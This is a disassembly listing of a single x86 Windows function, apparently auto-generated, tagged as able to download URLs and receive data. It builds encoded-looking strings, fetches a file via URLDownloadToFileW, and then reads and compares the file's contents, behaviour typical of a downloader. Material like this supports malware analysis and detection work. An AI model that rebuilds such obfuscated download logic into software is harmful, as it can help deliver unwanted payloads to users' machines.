Function at 0x405790
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x448003
push eax
mov dword fs:[0], esp
sub esp, 0x1c0
push ebx
push esi
push edi
mov ebx, ecx
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x405de4
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], 0
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x405dee
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.ZnJybnE4LS1uYV9ubixxcm1wYy1kX110Y3BxZ21sLG5mbj1lc2diOyN1cSRjbGJddDsjdXEkbG1hX2FmYzsjYg
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00403570
test al, al
jne 0x405812
push 0x58
push str.ZnJybnE4LS1uYV9ubixxcm1wYy1kX110Y3BxZ21sLG5mbj1lc2diOyN1cSRjbGJddDsjdXEkbG1hX2FmYzsjYg
lea ecx, [ebp - 0x18]
call fcn.004039f0
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push dword [0x45cba0]
mov eax, dword [ebp - 0x18]
push 0x45c9a0
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x2c], esi
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.00403800
add eax, 0x10
lea ecx, [ebp - 0x14]
mov dword [esi], eax
call fcn.004021a0
add esp, 4
mov byte [ebp - 4], 3
push dword [eax]
lea eax, [ebp - 0x48]
push eax
call fcn.0040a450
mov byte [ebp - 4], 2
or edi, 0xffffffff
mov edx, dword [ebp - 0x14]
add esp, 0x14
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405881
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x405df8
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
push str.Sl9xclRjcHFnbWw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 4
call fcn.00403570
test al, al
jne 0x4058bf
push 0x10
push str.Sl9xclRjcHFnbWw
lea ecx, [ebp - 0x1c]
call fcn.004039f0
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x1c]
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x28], esi
mov ecx, eax
mov dword [ebp - 0x28], eax
call fcn.00403800
add eax, 0x10
lea ecx, [ebp - 0x64]
mov dword [esi], eax
call fcn.004021a0
add esp, 4
push eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 6
call fcn.00409540
add esp, 4
mov byte [ebp - 4], 8
mov eax, edi
mov edx, dword [ebp - 0x64]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405917
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x48]
push 0
push 0
push dword [ebp - 0x24]
push esi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
je 0x405a73
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x405e02
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push 0x4536d8
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 9
call fcn.00403570
test al, al
jne 0x405970
push 0x10
push 0x4536d8
lea ecx, [ebp - 0x14]
call fcn.004039f0
mov byte [ebp - 4], 0xa
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x405e0c
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push str.al9xcl10XWJqXWNwcG1w
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xb
call fcn.00403570
test al, al
jne 0x4059b2
push 0x14
push str.al9xcl10XWJqXWNwcG1w
lea ecx, [ebp - 0x20]
call fcn.004039f0
push ecx
mov byte [ebp - 4], 0xc
mov ecx, esp
mov dword [ebp - 0x6c], esp
push 0x452aaf
call fcn.00402d70
push ecx
mov byte [ebp - 4], 0xd
mov ebx, esp
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x70], esp
add eax, 0xfffffff0
push ecx
mov edi, esp
mov dword [ebp - 0x68], eax
mov ecx, eax
mov dword [ebp - 0x10], edi
call fcn.00403800
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.004021a0
mov byte [ebp - 4], 0xe
mov ebx, esp
mov eax, dword [ebp - 0x14]
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x10], edi
mov ecx, eax
mov dword [ebp - 0x10], eax
call fcn.00403800
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.004021a0
add esp, 4
mov byte [ebp - 4], 0xc
call fcn.00406500
mov edx, dword [ebp - 0x68]
or edi, 0xffffffff
add esp, 0xc
mov dword [0x45c990], 1
mov byte [ebp - 4], 0xa
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405a51
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x10]
mov eax, edi
mov byte [ebp - 4], 8
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405a6c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor bl, bl
jmp 0x405d61
sub esp, 0xc
lea ecx, [ebp - 0x140]
push dword [ebp - 0x24]
call fcn.004091e0
xor eax, eax
mov ecx, 0xf
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x44], al
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0xe4], eax
je 0x405af5
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x140]
call fcn.0040a590
lea ecx, [ebp - 0x130]
call fcn.00409eb0
test eax, eax
jne 0x405af2
mov eax, dword [ebp - 0x140]
lea ecx, [ebp - 0x140]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00404cc0
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x44]
lea edi, [ebp - 0x44]
cmp ecx, 0x10
jb 0x405b02
mov edi, edx
mov eax, dword [ebp - 0x34]
add eax, edi
lea edi, [ebp - 0x44]
cmp ecx, 0x10
jb 0x405b11
mov edi, edx
push ecx
push eax
push edi
lea ecx, [ebp - 0x88]
call fcn.0040a630
push eax
mov ecx, ebx
call fcn.00409720
mov ecx, dword [ebp - 0x74]
cmp ecx, 8
jb 0x405b64
mov edx, dword [ebp - 0x88]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405b5a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405e16
push ecx
push edx
call fcn.004230ab
add esp, 8
push 3
push dword [0x45cba0]
lea eax, [ebp - 0x1c4]
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x1c8], eax
call fcn.00409af0
mov byte [ebp - 4], 0x11
xor eax, eax
mov edx, dword [ebp - 0x1c8]
mov ecx, edx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
lea edi, [ecx + 1]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405ba6
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x60]
call fcn.00403bf0
cmp dword [ebp - 0x30], 0x10
lea edx, [ebp - 0x44]
jb 0x405bc5
mov edx, dword [ebp - 0x44]
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x60]
jb 0x405bd1
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x34]
mov edi, eax
mov ebx, dword [ebp - 0x50]
cmp eax, ebx
jb 0x405bdf
mov edi, ebx
sub edi, 4
jb 0x405bf5
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x405bfa
add ecx, 4
add edx, 4
sub edi, 4
jae 0x405be4
cmp edi, 0xfffffffc
je 0x405c2e
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x405c27
cmp edi, 0xfffffffd
je 0x405c2e
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x405c27
cmp edi, 0xfffffffe
je 0x405c2e
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x405c27
cmp edi, 0xffffffff
je 0x405c2e
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x405c2e
sbb ebx, ebx
or ebx, 1
jmp 0x405c30
xor ebx, ebx
test ebx, ebx
jne 0x405c47
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x50]
cmp eax, ecx
jbe 0x405c43
or ebx, 0xffffffff
jmp 0x405c47
sbb ebx, ebx
neg ebx
mov eax, dword [ebp - 0x4c]
shr ebx, 0x1f
xor bl, 1
cmp eax, 0x10
jb 0x405c83
mov edx, dword [ebp - 0x60]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x405c79
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405e1b
push ecx
push edx
call fcn.004230ab
add esp, 8
mov eax, dword [ebp - 0x1c8]
lea ecx, [ebp - 0x1c4]
cmp eax, ecx
je 0x405c9c
push eax
call fcn.004280d4
add esp, 4
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x405cd6
mov edx, dword [ebp - 0x44]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x405ccc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405e1b
push ecx
push edx
call fcn.004230ab
add esp, 8
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x144], eax
lea ecx, [ebp - 0x130]
call fcn.00408e90
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x144], eax
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 0x12
push eax
mov dword [ebp - 0xd0], vtable.std::ios_base.0
call fcn.0040ef44
add esp, 4
or edi, 0xffffffff
mov byte [ebp - 4], 5
mov eax, edi
mov edx, dword [ebp - 0x24]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405d7f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov eax, edi
mov byte [ebp - 4], 2
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405d9a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, edi
mov byte [ebp - 4], 0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405db5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], edi
dec edi
test edi, edi
jg 0x405dd1
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
call fcn.00427d73
call fcn.00427d73
int3